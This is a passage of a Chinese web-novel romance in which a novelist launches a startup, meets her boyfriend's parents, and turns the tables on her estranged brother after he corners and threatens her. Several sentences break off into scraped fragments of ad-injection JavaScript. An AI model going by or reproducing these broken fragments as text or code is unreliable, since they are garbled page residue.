井稚从包里拿出来个保温袋,里面装着他上午蒸好的包子。 他站在裴凝身前,张开双臂半环在空中,摆了个奇怪的姿势。 “我给你挡风,快吃吧。” 裴凝感激地亲了他一下。 第二个包子刚拿到手里,还没张口,裴凝突然听到老远处传来一声清脆喊声:“凝姐!!!” 裴凝侧过头去看,一个活力身影正朝自己奔来。 原来是许溪。 裴凝把包子塞给井稚,无视他不满的眼神,再一次接住了许溪,与她抱个满怀。 “啊啊啊凝姐!我好想你!!” 许溪紧紧抱着裴凝不撒手。 “怎么没有跟我说是你要过来呀?” 裴凝松开些,揉揉她的头发,语气掩不住地开心。 “想给你个惊喜嘛。” 许溪后面跟着一个走路有些温吞的女生,直到她站到许溪身后,裴凝才确定她是和许溪一起的。 “这位是?” “哦哦,我差点忘了,”许溪大方地将人拽过来,介绍道,“这位是韩飞雀,是和我一起调过来的,负责人事招聘。” 裴凝和善地伸出手去:“你好。” 韩飞雀和许溪像是两个极端,她总是慢吞吞的,说话也温声细语:“裴总好。” 头一回听这个称呼,裴凝抖了一激灵。 “我和飞雀老家都在青城,是主动申请来破晓常驻的。其他同事以后主要在线上工作,必要时会来青城出差。方总让我跟你说,要抓紧时间组建团队,争取明年年初让公司步入正轨。” 这与裴凝的预想也差不多,她点了点头,没再多说什么,带着人往井稚的车去。 “走,我们去公司看看。” 井稚一直抱着包子,没有插话,看她们终于互相打完招呼了,又把包子递给裴凝。 “路上再吃点。” 许溪这才想起来跟井稚打招呼。 不过她打招呼的话,也挺特别的:“井稚,你终于和凝姐在一起啦?” 裴凝略带惊讶地回头:“你怎么知道?” “哎呀,凝姐,他脑袋顶上的粉红泡泡都藏不住啦。”许溪打趣道,“上次见还愁容满面的,现在判若两人,飞雀都能看出来,是不是?” 韩飞雀没有说话,微笑着点点头。 井稚被说得有些难为情,别过脸去:“别瞎说,我才没有。” 裴凝也看向井稚头顶,倒是没看到什么粉红泡泡,而是看到了熟悉的红鼻尖。 她低下头,故意小声对许溪道:“嘘,再说就该跑啦——你看,哎,井稚,慢点!” 听到身后笑声的井稚,越走越快,只留下一撮倔强的呆毛。 - 井稚把她们送到写字楼便回书店了。 裴凝一行人上楼的时候,朱情正在一个人四处看着。见她们来了,很快迎出来。 互相介绍之后,韩飞雀依旧慢条斯理地打招呼:“朱总好。” 朱情和裴凝如出一辙地哆嗦了一下。 “奇怪吧。”裴凝拿胳膊肘碰碰朱情,“我也习惯不了。” “确实。飞雀,要不还是叫姐吧。” 韩飞雀含蓄地笑着,脸颊挂着两个可爱的梨涡:“可以呀。不过称呼和公司的管理风格密切相关,如果以后都想保持亲民风格的话,公司氛围会很好,但要警惕人心散漫、不易管理的情况哦。” 裴凝挑了下眉,没想到只是说了个称呼的问题,韩飞雀就能很快联想到公司管理。 许溪看出裴凝眼里的些许惊讶,笑着解释道:“凝姐,看见了吧,我们飞雀是绝对地专业、绝对地靠谱!顾总可舍不得把她派来呢。” 裴凝听了,立刻握住韩飞雀的手,诚恳道:“飞雀,我一定会好好对你的。” 韩飞雀被逗得有些害羞,笑着埋下些头去。 朱情嫌弃地拍掉裴凝的手:“飞雀,别理她。今天你们先安顿安顿,明天咱们再说工作的事。” “对哦,你们有住的地方嘛?” 裴凝适时问道。 “嘿嘿,我们都回家住!”许溪开心地拍了拍手,“终于能回家了!好想我的老爹老妈!” 韩飞雀点头应下,算是回答。 “那行,我和小情人儿把你们送回去,带着行李打车不方便……” 裴凝的话被电话铃声打断,她没看屏幕,直接接起来。 然后就被中气十足的声音震得立刻拿远了手机:“裴凝!别忘了今天早点回家!” 剩下三人齐齐被这吼声吸引,看向裴凝。 裴凝淡定地把手机放回耳边:“早回家?为什么?” “果然,我就知道你忘了!” 听到这已经习惯的语气,裴凝都能想象出井稚在那边气得跳脚的神情。 “忘什么……哦对了,井小二!” 井小二最近终于打完了疫苗和狂犬,医生说可以适当带它出门玩了,井稚一连兴奋了好几天,但始终等不到裴凝有空,所以他昨天特意嘱咐裴凝,今天早点下班,和他一起去遛狗。 “裴凝,我跟你讲,第一次遛狗就相当于孩子第一次接触社会,这是多么地重要,多么地需要你的参与!你绝对不许跟我说你要加班回不来了,不然我就去你公司把你绑走……” 井稚又开始絮絮叨叨,裴凝果断打断:“知道了,我会早回的。” “这还差不多……” 裴凝没给他继续唠叨的机会,说了拜拜就挂了电话。 “这小孩儿,真 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 粘人。” 裴凝笑着收起手机,顺便吐槽。 许溪捂胸口作痛心疾首状:“啊!这对我的伤害太大了!我以后要一直看我的上司和我的男神——括弧,曾经的,括弧完——秀恩爱吗!” 裴凝这才想起许溪之前喜欢井稚的事,有些不好意思。 “溪溪,对不起啊,我以后尽量让他少来……” “别呀凝姐,我是开玩笑的。我都说了,我现在更喜欢你!” 许溪笑得见眉不见眼,无所谓道。 “行了,你也该回家休息休息了,”朱情出来打圆场,“我送她们回去,你直接回家吧。” “不用,还是一人送一个吧,你也早点回家。” “快得了吧,井老板天天像个落魄小狗一样等着你,我都看不下去了,快回家哄小狗吧。” 朱情说着,已经揽着许溪和韩飞雀往外走了。 裴凝未再推脱,顿了一下,温柔笑道:“那就拜托朱总了。溪溪,飞雀,破晓欢迎你们。” - 裴凝回家的时候,井稚正在和井小二上演“人狗大战”。 “你过来!套绳!” 井稚拿着牵引绳满屋子追着井小二跑。 井小二慌不择路,东撞一下西撞一下,正撞上开门进家的裴凝。 裴凝眼疾手快,弯腰擒住它,一把抱起来。 井小二见是裴凝,立刻安静了。裴凝对它不似井稚那般热情又娇惯,所以井小二对裴凝有些怕,平时它犯了错,井稚说它不听,都会派裴凝出来唱白脸。 井稚气呼呼地把牵引绳给它套上,然后从裴凝手里接过,放在地上。 “走吧。” 两个多月没有见过外面的世界,井小二有些怂,方才还在家里活蹦乱跳,一上电梯立刻老实,甚至还想调头回去。 井稚拽着它,软硬兼施才带出了楼。 裴凝牵着他的手在小区里漫步,脑子难得放空。 “累啦?” 井稚看出裴凝心不在焉,问道。 “嗯,有一点。” 初创公司的事情多得数不过来,一天班没上过的裴凝有些吃不住。 而且她什么都不懂,很多东西都是摸索着来,走了不少弯路,徒增了工作量。 “没事,一开始都是这样的。”井稚斟酌着安慰道,“慢慢就会好了,我刚开书店那两年,还差点倒闭呢!” 裴凝眼睛弯了一些:“真的呀?我还以为井老板的生意一直顺风顺水呢。” “怎么会!我因为不想过于商业化,所以没有设饮品点餐之类的服务,刚开业的时候根本没人来,我郁闷了好几个月。” “那你不会天天回家哭鼻子吧?” 裴凝打趣道。 “裴凝!” 井稚眉毛一拧,又瞪向她。 裴凝及时转移话题:“你看,井小二的外八好像越来越明显了。” 井稚立刻被吸引了注意力,顺着她的话瞧去。 可不是,小时候他们就觉得它走路时爪子往外撇,本来以为长大就好了,现在一看,还是歪歪扭扭地走,又憨实又可爱。 “还真的,蠢萌蠢萌的。” 两人视线全在井小二身上,一会儿讨论它的卷毛长得挡眼睛了,一会儿拽着它不让它疯狂社交,一会儿又商量着什么时候给它洗澡…… 完全没注意已经走到眼前的人。 “井稚?你这是……” 井稚和裴凝同时抬头,看向声音来源。 看清来人后,井稚后知后觉地惊讶道: “……爸,妈?” 20. Chapter 20 裴凝很难描述此刻的场景。 井稚家不大的餐厅里,分成了三个阵营。 她和井稚坐在餐桌一侧,井稚的父母坐在他们对面,还有第一次见面的井小二和井稚的猫,正在地上面面相觑、互相试探。 说起来,这还是裴凝第一次来井稚家。 还好他父母是带着打包好的饭菜来的,不然干坐着更尴尬。 裴凝不知道自己该说什么,眼前的设定有些超出她的知识范围,她原来谈恋爱的时候可没见过家长。 “咳咳,小稚,不介绍一下?” 井母率先打破沉默。 她显然情绪十分稳定,除了刚见到裴凝时有些惊讶,剩下的时间,一直都挂着温和的笑。 “妈,这是裴凝,是我……女朋友。” 井稚一边说着,一边不停往碗里夹菜,光夹不吃,眼睛直直盯着桌面,手背快绷出青筋了。 裴凝抓准时机开口:“叔叔阿姨好,我是裴凝。” “你好。”井母看向裴凝,“小稚这孩子,没跟我们提过,差点唐突了。” “是你们先不打招呼过来的嘛。” 井稚小声抱怨。 “我和你爸正好来这边办点事,临时决定来看看你,看来来得不是时候呀?” 井母侧头去看井稚,尾音有些俏皮。 “哪里的话,是我打扰你们了。” 裴凝得体地替井稚打圆场。 一时间没人再说话,气氛有些僵住。 过了会儿,一直沉默着吃饭的井父终于放下筷子,看向裴凝。 “小姑娘是做什么工作的,方便问问吗?” “叔叔,我是写小说的。” 因为没有考虑过会有见井稚家长的这一天,所以裴凝并没有问过他的父母是什么样子的人,会不会不理解她的职业,就像她见过的大部分长辈那样。 但裴凝很喜欢自己的工作,不希望为了迎合谁而撒谎,所以她选择实话实说。 “哦,写小说,那你也和井稚一样,是文科生。” 井父的反应有些出乎裴凝意料,他没说什么,只是自顾自下了个结论。 裴凝笑笑,接道:“叔叔,其实我是理科生,写小说是爱好发展成职业的。” “行了爸,你别把人家问紧张了。” 井稚出声,给井父夹了一大筷子菜,想制止他继续盘问,结果被井父怼了回去:“我什么都没问,我看是你紧张。” 井稚还想说话,被裴凝按住。 “不紧张,不紧张,叔叔阿姨想问什么都可以。” 井母向前坐了坐,眉目和善,认真地瞧着裴凝。 “小裴,叔叔阿姨冷不丁第一次见你,其实是我们比较紧张,有什么说得不对的,你多担待啊。” 裴凝看这架势,像是准备刨根问底,不自觉地背都坐直了些。 “不会的,您说就是。” 井母随即开口:“小裴,你多大啦?” “我是二月份的生日,周岁二十九。” “那比小稚大四岁……” 井母刚喃喃一句,还没说什么,立刻被井稚抢过话头: “大四岁怎么啦,她年轻,我,我显老,正好!” 井母好笑地看着他:“我又没说什么。” 裴凝偷偷把手伸到井稚身后,使劲拽着他衣服,把总想蹿起来说话的人压在椅子上。 “你今天是来找小稚玩吗?” “没有,阿姨,我就住在楼下。” “哦呦,这么巧,怪不得小稚好几个月都不怎么回家了。” 裴凝顿了一下,有点没搞懂井母的意思。 听起来,这话好像是在责怪她。 “妈,您说什么呢,我上周不是才回过吗!”井稚又忍不住了,微微起身据理力争道,“我们平时都忙,没有一直在一起的,您是不知道,裴凝最近忙着创……哎,井小二,爆米花,你俩怎么打起来了!” 裴凝脑子里还在疯狂检索合适的词句来回答井母,听了井稚的惊呼,本能地看向一旁。 嚯,打得还够激烈,爆米花起身一个爆锤砸到井小二脑袋上,给井小二吓得原地起跳,后退两大步,然后又冲刺向爆米花跑去。 “不是,别打架呀!爆米花!井小二!” 井稚立刻站起来,站在桌子前急得团团转,喊了半天,没有一个听他的。 俩小家伙上蹿下跳,满屋子追逐,裴凝和井母见了,忍不住起身帮忙,视线随着它们不停移动,脚下不自觉挪着步子。 精力太集中,两人都没有注意已经站得很近了。 终于,井小二朝她们跑来,裴凝看准时机,弯腰去拦—— “哎呦。” 她和井母结结实实地撞了脑袋。 裴凝下意识抬头,对上井母的视线,两人都愣了一下。 几秒钟后,忽然相视而笑。 像是同时想到了什么好笑的事,裴凝和井母越笑越开心。井母抬手给裴凝揉着脑袋,趁井稚不注意,小声在裴凝耳边道:“小裴,让他少回几次家吧,看了二十多年,我都看烦了。” 裴凝的兔子眼睛狡黠地眨了眨,算是应下。 “还有,”井母补充道,“这孩子,让我们惯坏了,又没谈过女朋友,性格总是幼稚些,应了他这名字了。” 裴凝刚想说没有,井母握起她手,诚挚地看着她:“小裴,谢谢你喜欢他。” - 井稚本想留父母在这过夜的,谁知井母一个劲地拽着井父走,丝毫不给井稚留人的机会。 “你们好好玩啊,小稚,别欺负人家。” 这是井母说的最后一句话。 “不是,我俩谁欺负谁还不一定呢……” 话没传出去,门早已被井母关得严丝合缝。 井稚和裴凝一人抱一个小家伙,站在门口对视了一会儿。 裴凝先“扑哧”笑出来:“井稚,我这是见家长了吗?” “算是……吧?” “那你觉得,你父母满意我吗?” 井稚立刻回答:“满意,肯定满意!不满意也没用,反正我只喜欢你。” 裴凝没有接他的话,转身坐到沙发上,安抚地摸着井小二脑袋。 “感觉叔叔阿姨是很好的人呢,怪不得你总是无忧无虑的。” 井稚想到裴凝的父母,以为勾起她的伤心事了,一时不知道该说什么。 “其实……也没有啦,我爸也经常揍我,家家有本难念的经……” 越说越感觉错,井稚恨自己嘴笨,还不如什么都不说。 裴凝看出井稚的顾虑,神色不见波澜,反而摆摆手宽慰他。 “你不要这样小心翼翼,我跟你讲我的故事,不是为了让你同情我。而且我本身就不可怜,我的大部分人生都是自由且幸福的,甚至可能比很多人都幸福,不是一定要有一对好父母才是圆满的人生。我说感觉你父母人很好,就是单纯地夸赞,我也觉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 得我妈妈好得不得了呢。” 井稚卸下重担般舒了一口气。 “对嘛!” 裴凝瞧他一眼:“傻瓜。” “不过,你妈妈真的是裴悯老师吗?” “你现在才想起来问?” “上次光顾着哭了,忘了问。”井稚讪讪道,“那我是不是也有机会见到她?” “不好说,我都见不着她。” 井稚听了,有些失望地塌下肩。 “不过我妈说今年过年会回来,如果她不食言的话,我带你去见她。” “真的吗?”井稚瞬间坐起来,“那我们岂不是互相见过家长了?” 闻言,裴凝停顿了一下,才道:“不算见家长。就是带你去见见偶像。” 井稚听出她语气稍淡,愣了下。 “你不想让我见家长吗?” “没有,就是不想把事情搞得那么复杂。” “怎么复杂?” “见家长这件事太正式也太严肃了,不适合我。” “那你刚才还问我父母对你满不满意,”井稚的眼神垂下去,一下一下理着爆米花的毛,“我还以为……” “我是开玩笑的。真要是见家长的场合,恐怕不止要谈现在,还要谈将来,太麻烦了。” 裴凝的手指藏在井小二厚厚的毛里,只露出几个指节,毛茸茸的小卷毛挠得她手心有些痒。 “你不想跟我谈将来?” “没有想不想,只是我喜欢享受当下。未来的事,未来再考虑吧。” 井稚有些郁闷,但他没有再说什么,沉默了许久,重新抬起头看着裴凝。 “好吧,我尊重你。” 裴凝坐得离井稚近些,凑过去看他。井稚不高兴的时候,连睫毛忽闪都带着情绪。 “这是我第一次来你家哎,我们要一直说这些吗?” “对哦!”井稚恍然大悟,看了一眼时间,“你怎么还在我家呢!快回去休息,明天不是还要早起吗?” “……” 裴凝很无语。 “咱俩说的是一个意思吗?” “什么一个意思,你跑了一天不累呀?” 井稚把爆米花放下,拽着裴凝就要往出撵。 “哎,不是,我第一次来,你怎么都不多留我一会儿呀?” “以后想来随时来,但你现在,得回去睡觉。” 裴凝无语,在一起都一个月了,这进度条怎么就拉不动呢? 难道井稚谈恋爱的乐趣,就只是亲亲抱抱举高高吗? 她实在忍不住,站定在原地,使劲敲了一下井稚的头。 “井稚,你是不是榆木脑袋的?” “我怎么了?” 井稚不明所以地揉着脑袋,神色迷茫又纯真。 裴凝想说什么,半晌,还是转了话头。 “算了,我回去了。” “我送你。” “不用,就坐个电梯而已,”裴凝有些赌气,“那么喜欢一个人在家待着,就好好待着吧你。” “哎,井小二留这吧,本来就说好打完疫苗我接走的,我好好给它俩做做思想工作,友好相处没问题的……” 裴凝站在门外,回头瞪了他一眼:“不留,我一个人孤单寂寞冷,得让井小二陪我。” 说完,毫不留情地关上门。 “服了,眼神那么纯洁,我都不好意思主动提。”裴凝边走边跟井小二吐槽,“想睡他真难!” 21. Chapter 21 “凝姐,招聘平台这几天投简历的人不少,我陆续安排了几场面试,这是日程表,您看一下。” 韩飞雀递给裴凝一份表格,上面把面试时间和面试人信息一一对应,内容一目了然。 “这么多吗?” “对,方总以您的名气做了些宣传后,来应聘的人明显多了。” 方昀游提出将洛漾作为破晓招牌时,裴凝其实是有些顾虑的。她不是喜欢抛头露面的人,而且之前打官司留下的负面舆论没有完全消除,她怕给公司带来不好的影响。 但时间紧迫,破晓想要在一众初创公司中脱颖而出,快速吸引人才,确实需要个噱头。除了逐日背书,也就是洛漾的名头能拿来用一用了。 “需要我做什么?” “我负责初面,您和各部门代理主管负责终面即可。因为大部分主管都在总部,所以可能会有一些线上面试,这个我到时候和您协调。” “好,我会把时间空出来。” “另外,签约作者方面由您和朱姐全权负责,谈好了之后交给我走签约流程就行。” 裴凝颔首,把文件夹递回给韩飞雀。 “辛苦了。” 一阵短促敲门声之后,许溪探了个脑袋进来。 “飞雀,有人来应聘。” “现在?”韩飞雀打开日程表核对了一下,“这个时间没有安排面试啊。” “他说是来投简历的。我还奇怪呢,怎么还有人专门跑来公司递简历的。” 许溪耸耸肩,把门推开些。 “凝姐,那我去看看。” 打过招呼后,韩飞雀和许溪一齐走出裴凝的办公室。 合上门的瞬间,那个应聘者的身影在门缝里一闪而过。裴凝莫名觉得有些眼熟,但手头忙得很,她来不及多想,又埋头在文件里。 午饭时间很快到了。 井稚提前打了电话,说晚点会过来送午饭,裴凝便没和许溪她们出去吃。 公司只剩下她一个人,静悄悄的,裴凝伸了个懒腰,揉了揉酸痛的后颈。 起身溜达到电梯间,裴凝想站着等会儿井稚。忽然,一旁的安全通道门开了,裴凝还没反应过来,便猝不及防地被人拽了进去。 楼道的光线很差,慌乱间,裴凝根本看不清那人。她只感觉拽着自己的力气很大,她一个不稳,直摔到墙上。 来不及多想,裴凝抬腿踢上那人裆部,趁他吃痛的瞬间,回身去抓门把手,想要逃离这里。 “嗷!”那人痛得惊呼,但还是敏捷地抓住了裴凝,没让她挨到门,“姐,是我!” 姐? 裴凝滞了一下。 她哪来的弟弟? 视线逐渐适应昏暗灯光后,裴凝看清了面前那张脸。 是刚才来应聘的那个人。 怪不得觉得眼熟,和裴宁海简直一个模子刻出来的。 这么一想,呵,她确实有个弟弟。 “你是裴盛。” 裴凝语气冷漠,没有询问,直接下了结论。 “姐,我就知道你还记得我。” 裴盛笑呵呵地凑过来,裴凝警觉地后退两步。 “你来干什么?” “姐,我在网上看到你开公司了,你真厉害。” “所以呢?” “唉,我也想创业来着,但市场不景气,全赔进去了。姐,咱是一家人,你就让我跟着你吧,给我个副总干干就行!” 裴凝难以相信这是人能说出来的话。 她握紧了拳,努力平稳着自己的呼吸,身子绷得笔直,神色厌恶至极。 “你们家的不要脸是遗传吗?” “这话说的,姐,你不也是裴家的种吗?” 裴盛满不在乎地笑着,似乎完全忘了,裴凝早已被裴家抛弃。 “要么,你立刻滚,要么,我叫保安送你滚。” 裴凝懒得跟他废话,抬步要去开门。 裴盛倾身一捞,仗着身高优势,拦住了裴凝,一个用力把她甩到离门最远的墙角。 裴凝心下一惊,手已经摸上衣兜里的手机。 裴盛看出她动作,眼疾手快地握住裴凝手腕,将她双手抬起,按在墙上。 墙壁冰凉,裴盛的手又滚烫。裴凝吃痛,微微弓起身子。 如此紧张的情况下,偏偏胃也开始疼,裴凝硬撑着表情,不让疼痛表现出来,冷汗却止不住地向外冒。 “哎呀,姐,不好意思,弄疼你了吧?” 裴盛语气很抱歉,但手上的力一点没有减少。 裴凝强忍着恶心,脑子里疯狂思考着如何脱身。 她体力弱势,再加上胃疼,拼蛮力大概率拼不过;朱情她们刚走了没多久,可能一时半会儿回不来;这一整层都是破晓的办公室,现在一个人没有,她喊也没用。 手机按键按三下,就能发出SOS。井稚前些天刚把她的紧急联系人设成自己,他收到消息一定会快点赶来,这是上上策。 “我要是不让你跟着我呢?” 裴凝开口,与他周旋。 “那也没事,反正我现在没得干,我就天天在这求你,求到你答应为止。” 裴盛无所谓地笑着,说出的话却是满满的威胁。 “不过我在这肯定会影响你们工作吧?要是来了应聘的人,看见我这样,再被吓跑了,那就得不偿失了,你说对吧,姐?” “你这是骚扰,不怕我报警?” “没关系啊,真要关我几天,还能管我饭,大不了出来了我继续找你。” 裴凝听明白了,裴盛现在一无所有,最不怕的就是破罐子破摔。 她胃疼得厉害,腰弯起来,死死顶着墙。知道来硬的不行,她思索着换种方式。 再开口时,裴凝语气软了些:“你先放开我,有什么好好商量,我没说一定不能带你。” 裴盛听了,果然放松些。 “真的?” 裴凝趁机垂下手,装作腰疼的样子,左手扶着后腰,趁裴盛不注意,慢慢滑到衣兜处。 隔着衣服,裴凝按了三下按键。 “真的。你说得对,我们互相难为,我更得不偿失。虽然我恨裴家,但我更在乎我的工作,只要你不给我添乱,给你个闲职不是什么难事。” 见裴盛没有立刻回答,裴凝又道:“咱别在这说了,去我办公室谈谈?” 裴盛半信半疑,依旧挡在她身前没动。 “你回去就给我打合同,白纸黑字写出来。” “那也得等负责人事的同事回来,合同这些我不懂呀。” “什么时候回来?” “估计一会儿就回来了。” 裴凝疼得有些站不住了,声音越来越虚弱,指甲嵌在手心里来保持理智。 “好吧。” 裴盛见裴凝脸色发白,心下犯怵,怕她真出什么事,回头再赖到他身上,于是侧了侧身,打开楼道间的门。 “那去你办公室等。” 裴凝走在前面,每走一步,都像划过刀刃般艰难。 她走得很慢很慢,祈祷着井稚能再快一些。 终于,推开办公室门的时候,她听到了身后急促奔跑而来的声音。 “裴凝!” 她撑不住了,顺着门框,瞬间滑落在地。 “来得真慢。” 裴凝喃喃。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> - 周遭一片混乱。 裴凝疼得视线发白,什么都看不清,耳朵里的声音被无限放大,吵得不仅胃痛,头也痛死了。 井稚给了裴盛一拳,这是裴凝通过裴盛的痛呼判断出来的。 然后几个保安上来把裴盛拖走,这是裴凝通过嘈杂的对话声判断出来的。 井稚把她抱起来,直往电梯冲,这是裴凝通过贴在自己身上熟悉的体温,判断出来的。 裴凝意识模糊地到了医院,稀里糊涂做了一堆检查后,终于安安稳稳地躺在了床上。 倒是没什么大事,就是胃痉挛。 喝了水吃了药后,裴凝躺着休息了很久,缓过来一点。 朱情她们也来了,和井稚一起站在病床边,听着医生说话。 医生说,她饮食不规律,生冷辛辣吃得多,外加方才精神紧张,所以才导致突然的胃痛。 每说一句,裴凝就要挨井稚一眼瞪,直看得她把脑袋缩回被子里,假装听不见。 认真负责的医生在嘱咐了一大堆注意事项之后,终于离开了病房。 其他病床形形色色的声音,包裹着他们这一小片沉默的区域。 忽然,裴凝感觉被子被掀开一角,一个比单薄被褥温暖数倍的怀抱,将她融了进去。 “对不起。” 井稚又在给她道歉了。 在裴盛面前撑了太久,裴凝完全被抽干了力气。 她鼻头一酸,本能地又往他怀里缩了缩。 天不怕地不怕的裴凝,原来也会恐惧。 可这恐惧,好像是见到井稚之后,才徒生出来的。 是井稚带给她恐惧的勇气吗? “又不怪你。” 裴凝低声念着。 “怪我,就怪我。”井稚越抱越紧,“怪我没有提醒你好好吃饭,怪我没有一直陪在你身边,怪我来得太晚了。” 井稚一边说着,一边把脸埋在裴凝的颈窝。 她怎么永远都这么凉。 井稚觉得自己的心脏快绞在一起了。 “好吧,那就怪你。” 裴凝吸吸鼻子,难得嗔怪地撒了个娇。 “那个,凝姐,”韩飞雀插空打断他们,“下午约了面试,我得先回趟公司,你好好休息,如果这几天有终面,我先让朱姐代你,你看行吗?” 裴凝从井稚的肩头上露出一个小脑袋。 “麻烦你们了。” 始终一脸凝重的朱情看着裴凝,沉声道:“我先带她们回去,安保那边我再去强调一下,禁止裴盛靠近,这几天你先别来公司了,我们先看看情况,实在不行就报警。” 裴凝点点头。 看着她们离开病房后,裴凝从井稚的怀里挣开些。 “好啦,怎么又要哭鼻子了。” 刚才一直抱着看不见,裴凝才注意到井稚红红的眼睛。 “还不是因为你。”井稚抽了抽气,小声道,“每次都是因为你。” 裴凝捧着井稚的脸,温柔地摩挲着。 “那小子要是还来怎么办?以后我陪你上班吧。” “那怎么行,你自己的工作不做啦?” 井稚犯难,烦躁地呼噜了下头发。 “那也不能就这样不管你呀。” “他现在知道我公司的地址,就算不让他进也没用,想缠着我怎么都能缠住。” 裴凝思索着,眼神逐渐变得锋利而冰冷。 “要想甩掉这个麻烦,必须给他找个更大的麻烦,拖住他。” 井稚看向她:“要怎么做?” 裴凝定定地看着他:“井稚,可能需要你帮我一个忙。” 22. Chapter 22 裴凝窝在沙发里,抱着电脑处理堆积的工作。 她已经三天没有去上班了,听说裴盛确实天天在破晓楼下蹲着,保安怎么撵也没用。 井稚打完电话,从阳台走进客厅。 “都安排好了,他们明天就去,视频最快下周就能发。” “好,麻烦你了。” 井稚坐在裴凝旁边,揽过她的肩。 “没事,这个同学欠我不少人情,他也想找机会还我呢。” 有一个主做青城社会新闻的自媒体账号,粉丝量相当可观,在青城本地影响力很大。 正巧,井稚的大学同学徐鹤淞,是这个账号的主要负责人。 井稚向徐鹤淞提供了裴盛的消息,拜托他们去“采访”他一下。 “会顺利吗?” 办法是裴凝想的,但她也不确定能不能奏效。 “放心吧,我把情况都跟老徐说了,他会帮我们的。” - 裴盛抽完身上最后一根烟,烦躁地扔在地上,使劲拿脚捻了捻,又一脚踢到草丛里。 不远处过来几个扛着拍摄设备的人,他没仔细看,转身坐在台阶上。 “这位先生,我们是青城生活的记者,方便采访您一下吗?” 裴盛头也不抬。 “不方便,滚。” “哎,您先别急着拒绝啊,”徐鹤淞笑眯眯道,“我们接到投稿说您已经在这里待了好几天了,是不是有什么难处?我们这个账号流量很高,只要视频发出去,一定能帮您解决问题。” 裴盛稍微抬眼瞧了瞧他。 “流量很高?” “对啊,您看。” 徐鹤淞把账号主页的粉丝量展示给裴盛,同时煽风点火:“我看您一直在办公楼下面坐着,是不是在公司遭受了什么不公平待遇?您放心跟我们说,上个月我们就帮一个打工人曝光了公司的不合理辞退,他们公司被骂得都关门了。” 裴盛心里打起了算盘。 分不了裴凝一杯羹,把她搞垮也行。 都是一个爹妈生的,凭什么她每天风风光光,自己就得做阴沟里的老鼠? 既然她不愿意帮自己,那就别怪他拉她下水。 “你们要问什么?” “您就说说您的经历就行。” 裴盛冷笑了一下,指了指摄像头:“对这说就行吗?” “对,给您戴个麦。” 裴盛斟酌着,开口道:“这楼上有个公司,叫破晓,那是我亲姐开的。我想到她那应聘,也没让她给我走后门,就想有个面试机会,结果她说我是垃圾,我不配,找人打我,还把我撵了出来。我好歹也是留学回来的,怎么就不配她个小破公司了?” “所以您是求职失败,想讨个说法对吗?” “对。自从我姐开了公司,牛得不行,父母弟弟都不认了,我想见她一面只能天天在这等着,你说这还是人吗?” 徐鹤淞点头认同道:“确实。看来您对公司负责人的怨气很大啊。” “要我说,这种不尊重人的公司迟早得倒闭。我一个亲弟弟都这样了,其他人进去能得到什么尊重?” “现在这种老板不尊重员工的职场问题非常严重,您这件事我们一定会做个专题报道的。” 裴盛越说越气,干脆啐了一口。 “你们一定要好好批判一下这个公司,对了,我姐叫裴凝,就是那个写小说的洛漾,自己狗屁不是,还开上公司了。” 徐鹤淞立刻作义愤填膺状:“您放心吧,我们绝对替您讨回公道。” - 周一早上,赶在所有职场人最疲惫的时间,青城生活发布了一条标题为“男子求职失败,竟一周赖着不走!”的视频。 地铁上、茶水间、摸鱼的工位上,无数无心工作的人点开了视频。 视频内容是这样的: 主持画外音:“我们接到投稿,听说有位男子在一座办公楼下待了好几天,让我们一起去看看怎么回事。” 裴盛:“你们要问什么?” 主持:“您就说说您的经历就行。” 裴盛:“这楼上有个公司,叫xx(消音),我想到她那应聘,就想有个面试机会,结果把我撵了出来。我好歹也是留学回来的,怎么就不配她个小破公司了?” 主持:“所以您是求职失败,想讨个说法对吗?” 裴盛:“对。要我说,这种不尊重人的公司迟早得倒闭。” 主持:“看来您对公司负责人的怨气很大啊。” 裴盛:“我想见她一面只能天天在这等着,你说这还是人吗?” 主持画外音:“那您有什么需求呢?” 裴盛:“你们一定要好好批判一下这个公司,自己狗屁不是,还开上公司了。” 画面到这里停止,一个转场,来到了破晓,韩飞雀作为人事负责人,匿名接受了采访。 主持:“听说你们把来面试的人撵了出去,这是怎么回事呢?” 韩飞雀(变声打码):“那天他来递简历,我收了,您看。” 镜头给了裴盛简历一个特写。 韩飞雀(变声打码):“一开始,我看他的专业和应聘的岗位毫不相干,他毕业的那个外国大学,我们也查不到,本来不想接收的。但本着不错过一个人才的想法,我跟他约好了面试时间。” 主持:“那他怎么说你们把他撵出去了呢?” 韩飞雀(变声打码):“是他趁公司没人,把我们老板拉到楼梯间里,威胁老板给他个职位,否则就不放过她,我们老板直接被吓进医院了。楼梯间没有监控,但他在电梯门口把老板拉走、还有后来我们老板被送到医院都有监控作证。” 主持:“让我们去监控室求证一下。” 然后视频贴出了当天的监控。 主持:“看来是这名男子对该公司的职位过于执念,竟在楼下赖了一周不肯走,这种行为万万不可取。小青在这里提醒各位求职者,心仪岗位千千万,可千万不要钻牛角尖呀。” 视频一经发出,立刻在无聊的周一掀起一阵吃瓜热潮。 视频里“不经意”露出了裴盛的学校名称和专业,吃瓜群众搜索之后,发现是个国内不承认的野鸡大学,专业也是冷门,和他要应聘的岗位八竿子打不着。 他将裴凝拽走威胁的场面更是激起了民 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愤,网友吐槽他是找工作找魔怔了,人送外号“魔怔哥”。 特别是和破晓在同一栋楼的其他公司员工,纷纷在视频下留言。 “这人我见他好多天了,就在我们公司楼下,我还说这年头怎么流浪汉都穿得人模狗样的。” “姐妹们我解码了!这个公司就是我们楼上的破晓!” “破晓?我知道,是个新公司,应该很急着招人,我总能在电梯里碰到去她们公司面试的,按理说不会把求职者撵走啊。” “我也知道她们公司!全是小姐姐,性格好好,在电梯里见过几次之后会一直跟我打招呼!” “说起来监控里那天我正好在楼下看到了,保安拽着魔怔哥,张牙舞爪的,后来就见有个帅哥抱着破晓老板往外冲,看起来是吓得不轻。” …… 外加来破晓面试过的人也自发替她们澄清,表示“面试态度很好”、“面试很专业”、“落选也会单独通知”之类的,舆论很快呈一边倒态势。 